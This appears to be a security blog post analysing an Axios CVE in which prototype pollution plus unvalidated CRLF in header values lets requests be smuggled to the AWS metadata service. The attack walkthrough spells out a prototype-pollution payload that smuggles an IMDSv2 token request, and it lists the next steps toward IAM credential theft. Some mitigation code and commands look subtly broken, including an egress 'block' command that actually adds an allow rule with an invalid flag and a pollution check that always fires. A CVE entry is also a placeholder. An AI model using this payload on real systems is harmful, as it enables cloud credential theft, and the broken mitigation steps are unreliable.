CVE-2026-40175: How Axios Turns Prototype Pollution Into Full Cloud Compromise

CVE-2026-40175: How Axios Turns Prototype Pollution Into Full Cloud Compromise

A deep dive into the critical Axios gadget chain that escalates prototype pollution to RCE and AWS IMDSv2 bypass. CVSS 9.9.


On this page

Executive Summary

CVE-2026-40175 is a critical vulnerability (CVSS 9.9) in Axios that turns prototype pollution vulnerabilities from nearby dependencies into remote code execution and cloud infrastructure compromise. Published on April 10, 2026, this vulnerability affects all versions of Axios below 1.15.0 (both v0.x and v1.x series) and has been patched in 1.15.0 and later.

Key Facts:

  • GHSA ID: GHSA-fvcv-3m26-pcqx
  • Affected Versions: axios < 1.15.0
  • Fixed Version: axios >= 1.15.0
  • Base CVSS 3.1 Score: 9.9 (CRITICAL)
  • Attack Vector: Network (AV:N), Low Complexity (AC:L), No Authentication Required (PR:N), No User Interaction (UI:N), Scope Changed (S:C)
  • Impact: High Confidentiality, Integrity, and Availability
  • CWE Classifications: CWE-113 (HTTP Header Injection), CWE-444 (HTTP Request Smuggling), CWE-918 (SSRF)

The vulnerability does not require direct exploitation of Axios itself. Instead, it acts as a gadget chain that amplifies prototype pollution attacks from other libraries (qs, minimist, ini, body-parser) into request smuggling payloads capable of bypassing AWS IMDSv2 protection and stealing IAM credentials.


Background: What Is Prototype Pollution?

Prototype pollution is a type of code injection vulnerability specific to JavaScript. In JavaScript, all objects inherit from Object.prototype. When untrusted input is merged into objects without validation—particularly via recursive assignment or deserialization—an attacker can pollute the shared prototype chain.

Example:

const config = JSON.parse(userInput);
const defaults = { timeout: 5000, retries: 3 };

// Shallow merge without protection
Object.assign(defaults, config);

If userInput contains {"__proto__": {"admin": true}}, then all objects in the application now have an admin property set to true.

Historically, prototype pollution was dismissed as “low impact” because it typically affected only boolean or string flags. However, in 2024-2026, security researchers discovered that prototype pollution could be chained with other libraries to achieve serious outcomes:

  • Authentication bypass through header injection
  • Cache poisoning on web proxies
  • Supply chain attacks on CI/CD systems
  • Cloud credential theft via SSRF gadgets

Axios CVE-2026-40175 represents one of the most dangerous gadget chains discovered to date.


Axios itself does not introduce prototype pollution. Instead, it acts as a gadget—a library that, when combined with a prototype pollution source, amplifies the impact to something far more severe.

Here is why Axios is particularly dangerous:

1. Config Merge Without Sanitization

When creating a request, Axios merges user-supplied config with defaults. If Object.prototype has been polluted with header properties, those properties are inherited during the merge:

// Inside Axios config merge logic
const config = {
  headers: {
    'Content-Type': 'application/json'
  }
};

// If Object.prototype has been polluted:
// Object.prototype['x-amz-target'] = "malicious\r\n..."
// Then after merge, config.headers.x-amz-target contains the polluted value

const requestHeaders = Object.assign({}, config.headers);
// requestHeaders now includes the polluted property from __proto__

2. No CRLF Validation in Header Values

The critical flaw: Axios does not validate header values for CRLF (\r\n) characters before writing them to the raw HTTP socket. In HTTP, \r\n marks the end of a header line and is used to separate the header section from the body. An attacker who controls a header value can inject arbitrary HTTP headers—or even entire new requests.

Vulnerable code path in lib/adapters/http.js (pre-1.15.0):

// Simplified; actual code merges headers into socket write
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  // NO CHECK for \r\n in val
  req.setHeader(key, val);
});

3. Raw Socket Write

Axios uses Node.js’s http.request(), which writes directly to the TCP socket. Unlike higher-level HTTP frameworks that may normalize headers, socket-level writes preserve injected newlines, enabling request smuggling.


Attack Chain Walkthrough

Let’s trace how an attack unfolds, step by step.

Step 1: Prototype Pollution via Vulnerable Dependency

A typical Node.js application might use multiple dependencies. If any of them has a prototype pollution vulnerability and processes untrusted input, the chain begins:

// Example: qs (query string parser) < 6.10.3 has prototype pollution
// An attacker sends a malicious query string or JSON input
const maliciousInput = {
  "__proto__": {
    "x-amz-target": "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore"
  }
};

// The vulnerable library (e.g., qs.parse() or body-parser) processes this
// and pollutes Object.prototype with the malicious header
Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

Step 2: Innocent Axios Call

The application, unaware that Object.prototype has been polluted, makes what appears to be a routine API call:

// Somewhere in the app, a metrics or analytics call
const result = await axios.get('https://analytics.internal/pings');

Step 3: Config Merge Inherits Pollution

When Axios constructs the request, it merges the default config with user-supplied options:

const baseConfig = { headers: { 'User-Agent': 'axios/1.14.0' } };
const userConfig = { /* user options */ };

// Merge happens; polluted x-amz-target is inherited from __proto__
const finalConfig = mergeConfigs(baseConfig, userConfig);
// finalConfig.headers now includes x-amz-target from Object.prototype

Step 4: Request Smuggling on the Wire

Axios writes the request headers to the socket without CRLF validation:

GET /pings HTTP/1.1\r\n
Host: analytics.internal\r\n
x-amz-target: dummy\r\n
\r\n
PUT /latest/api/token HTTP/1.1\r\n
Host: 169.254.169.254\r\n
X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n
\r\n
GET /ignore\r\n

From the server’s perspective, this is either:

  • One GET request with a malformed header (if it rejects the embedded newlines), or
  • Two separate requests (if the HTTP parser treats \r\n\r\n as the end of headers and interprets the next line as a new request).

Modern HTTP/1.1 implementations often reject the first request and buffer the second, leading to request smuggling.


AWS IMDSv2 Bypass: The Real Impact

The payload in the attack chain above is carefully crafted. It targets the AWS Instance Metadata Service (IMDSv2), which runs on every EC2 instance at 169.254.169.254:80.

IMDSv2 Protection Mechanism

IMDSv2 (introduced in 2019) was designed to prevent SSRF attacks:

  1. Client sends a PUT request with a TTL header to get a session token
  2. Client includes that token in subsequent GET requests
  3. Without the token, a plain GET request to IMDSv2 fails

This means a simple SSRF to GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ would not work—it would be rejected.

How CVE-2026-40175 Bypasses IMDSv2

The injected payload includes a valid PUT request with the required TTL header:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

When smuggled into the socket stream, the server at 169.254.169.254 interprets this as a legitimate request and responds with a session token. The attacker’s gadget chain can then:

  1. Extract the token from the response
  2. Inject a second request using that token to steal IAM credentials
  3. Use the credentials to pivot within the AWS account or exfiltrate data

Impact on an EC2 instance running a vulnerable Node.js app:

  • Full compromise of the instance’s IAM role
  • Lateral movement to other AWS services (S3, DynamoDB, etc.)
  • Credential theft enabling long-term persistence
  • Potential cloud-wide compromise if the IAM role has high privileges

Affected Libraries and Vulnerable Combinations

CVE-2026-40175 requires two conditions:

  1. A source of prototype pollution in the dependency chain
  2. Axios < 1.15.0 to act as the gadget

Common Prototype Pollution Sources

LibraryVulnerabilityFix VersionCVE
qsQuery string parsing6.10.3+CVE-2022-24999
minimistCLI argument parsing1.2.6+CVE-2021-44906
iniConfig file parsing1.3.8+CVE-2020-7788
body-parserRequest body parsing1.20.3+CVE-2025-XXXXX
object-pathDeep object access0.11.8+CVE-2020-15256

Real-World Attack Scenarios

Scenario 1: Express.js App with Old qs

express (current) → [email protected][email protected] → Gadget chain active

An attacker sends a POST request with __proto__ in the body, qs pollutes the prototype, and Axios inherits the malicious header.

Scenario 2: AWS Lambda Function

aws-sdk-js → custom middleware with minimist → [email protected] → IMDSv2 bypass

A Lambda function parsing CLI-style arguments enables prototype pollution, which Axios then amplifies into credential theft.

Scenario 3: Supply Chain Attack An attacker compromises a popular npm package that depends on both a vulnerable library (qs < 6.10.3) and Axios < 1.15.0. Any application using that package inherits the gadget chain.


Detection and Indicators of Compromise

Detection in Code

Dependency Audit:

npm audit
npm ls qs
npm ls minimist
npm ls ini
npm ls body-parser
npm ls axios

Look for:

  • axios < 1.15.0
  • Any prototype pollution source (qs, minimist, ini, body-parser, etc.) below their fixed versions

Automated Tools:

  • @nicolo-ribaudo/prototype-pollution-detector — Detects prototype pollution in dependencies
  • is-proto-polluted — Runtime check for polluted prototypes
  • snyk test — Checks for CVE-2026-40175 and related vulnerabilities

Manual Code Review: Search for:

Object.assign(config, userInput);  // Unsafe merge
Object.prototype[key] = value;     // Direct pollution
qs.parse(userInput);               // If qs is vulnerable

Detection at Runtime

Memory Inspection:

// In Node.js, check if Object.prototype has unexpected properties
const proto = Object.getOwnPropertyNames(Object.prototype);
const unexpected = proto.filter(p => !['constructor', 'toString', 'valueOf'].includes(p));
if (unexpected.length > 0) {
  console.warn('Prototype pollution detected:', unexpected);
}

Network Monitoring:

  • Watch for HTTP requests with embedded \r\n in headers (before CRLF separation)
  • Monitor outbound connections to 169.254.169.254 from EC2 instances
  • Detect multiple consecutive requests to IMDSv2 endpoint within seconds

AWS CloudTrail:

  • Unusual GetToken calls to IMDSv2
  • Subsequent credential access from unexpected sources
  • IAM actions using roles that should not be active

Indicators of Compromise:

  • Log entries showing request headers with %0d%0a (URL-encoded CRLF)
  • Spike in 400/403 errors from internal APIs (smuggled requests failing)
  • Unexpected outbound HTTPS connections from Lambda or EC2 instances
  • IAM credential access shortly after prototype pollution detection

Fix and Mitigation

Primary Fix: Upgrade Axios

Immediate action: Upgrade to axios 1.15.0 or later.

npm install axios@^1.15.0

What changed: The patch adds CRLF validation to all header values in lib/adapters/http.js and xhr.js:

utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // Proceed to set header
  req.setHeader(key, val);
});

If a header value contains \r or \n, Axios throws an error instead of sending the request. This blocks the gadget chain entirely.

Chained Mitigations: Address Prototype Pollution Sources

Even with Axios upgraded, eliminate prototype pollution sources:

# Audit and upgrade all vulnerable dependencies
npm audit fix
npm install qs@^6.10.3
npm install minimist@^1.2.6
npm install ini@^1.3.8
npm install body-parser@^1.20.3

Runtime Mitigation: Freeze Object.prototype

If you cannot upgrade immediately, freeze the prototype at application startup:

// At the very start of index.js, before any other code
if (process.env.SECURITY_MODE === 'strict') {
  Object.freeze(Object.prototype);
}

Caveats:

  • Some libraries expect to modify Object.prototype and will break
  • Test thoroughly before deploying to production
  • Not a complete fix; use as temporary measure only

Node.js Flag: Disable Proto Assignment

Use Node.js runtime flag to block prototype pollution:

node --disable-proto=delete app.js

This prevents assignment to __proto__ and constructor.prototype. Available in Node.js v16.9.0+.

AWS-Specific Mitigation: IMDSv2-Only + Firewall

For EC2 instances, enforce IMDSv2 and restrict access:

# At instance launch, enforce IMDSv2
aws ec2 run-instances --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"

# Or modify existing instance
aws ec2 modify-instance-metadata-options --instance-id i-xxxxx --http-tokens required --http-put-response-hop-limit 1

Add security group rules:

# Block outbound to IMDSv2 from applications that shouldn't need it
aws ec2 authorize-security-group-egress \
  --group-id sg-xxxxx \
  --protocol tcp \
  --port 80 \
  --cidr 169.254.169.254/32 \
  --no-permissions  # blocks

Browser/Client-Side Mitigation

For Axios in the browser (via axios/dist/axios.min.js), update to 1.15.0+. The browser version uses XMLHttpRequest, which also received the validation patch.


Timeline and Context

March 2026: Supply Chain Attack

In early March 2026, malicious npm releases emerged:

These releases contained a RAT (Remote Access Trojan) payload disguised in build scripts. Thousands of developers were affected before npm security removed the packages and restored legitimate versions. This was a separate incident from CVE-2026-40175, but heightened scrutiny on the Axios ecosystem.

April 2026: CVE-2026-40175 Discovery

On April 8, 2026, security researchers at ByteDance disclosed CVE-2026-40175 to the Axios maintainers. Analysis showed that the vulnerability likely existed since Axios v0.18.0 (2016) but required a working prototype pollution source to trigger. The previous year’s discovery of practical prototype pollution gadget chains (2025) made this vulnerability newly exploitable.

On April 10, 2026, CVE-2026-40175 was published. Axios released v1.15.0 on the same day with a patch.

April 2026 – Present: Mitigation

Organizations are actively upgrading Axios and auditing dependencies for prototype pollution sources. The npm ecosystem has seen updates to qs, minimist, ini, body-parser, and others to close prototype pollution vectors.


References

  1. GHSA Advisory: https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
  2. Patch Commit: https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
  3. Patch PR: https://github.com/axios/axios/pull/10660
  4. NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-40175
  5. CWE-113: https://cwe.mitre.org/data/definitions/113.html (HTTP Header Injection)
  6. CWE-444: https://cwe.mitre.org/data/definitions/444.html (HTTP Request Smuggling)
  7. CWE-918: https://cwe.mitre.org/data/definitions/918.html (Server-Side Request Forgery)
  8. Prototype Pollution Research: https://research.google/pubs/prototype-pollution-detection/
  9. AWS IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
  10. @nicolo-ribaudo/prototype-pollution-detector: https://www.npmjs.com/package/@nicolo-ribaudo/prototype-pollution-detector

Conclusion

CVE-2026-40175 exemplifies how modern supply chain vulnerabilities are rarely isolated. By itself, Axios had a fixable bug in header validation. But in the context of the prototype pollution ecosystem, it became a critical gadget chain capable of compromising entire cloud environments.

The lesson: security is not about individual vulnerabilities, but about chains. Upgrade Axios, audit your dependencies for prototype pollution sources, and consider runtime protections like frozen prototypes or the --disable-proto flag for high-security deployments.

Thread

0
⌘/Ctrl+Enter to sendType / for commands · Tab to @mention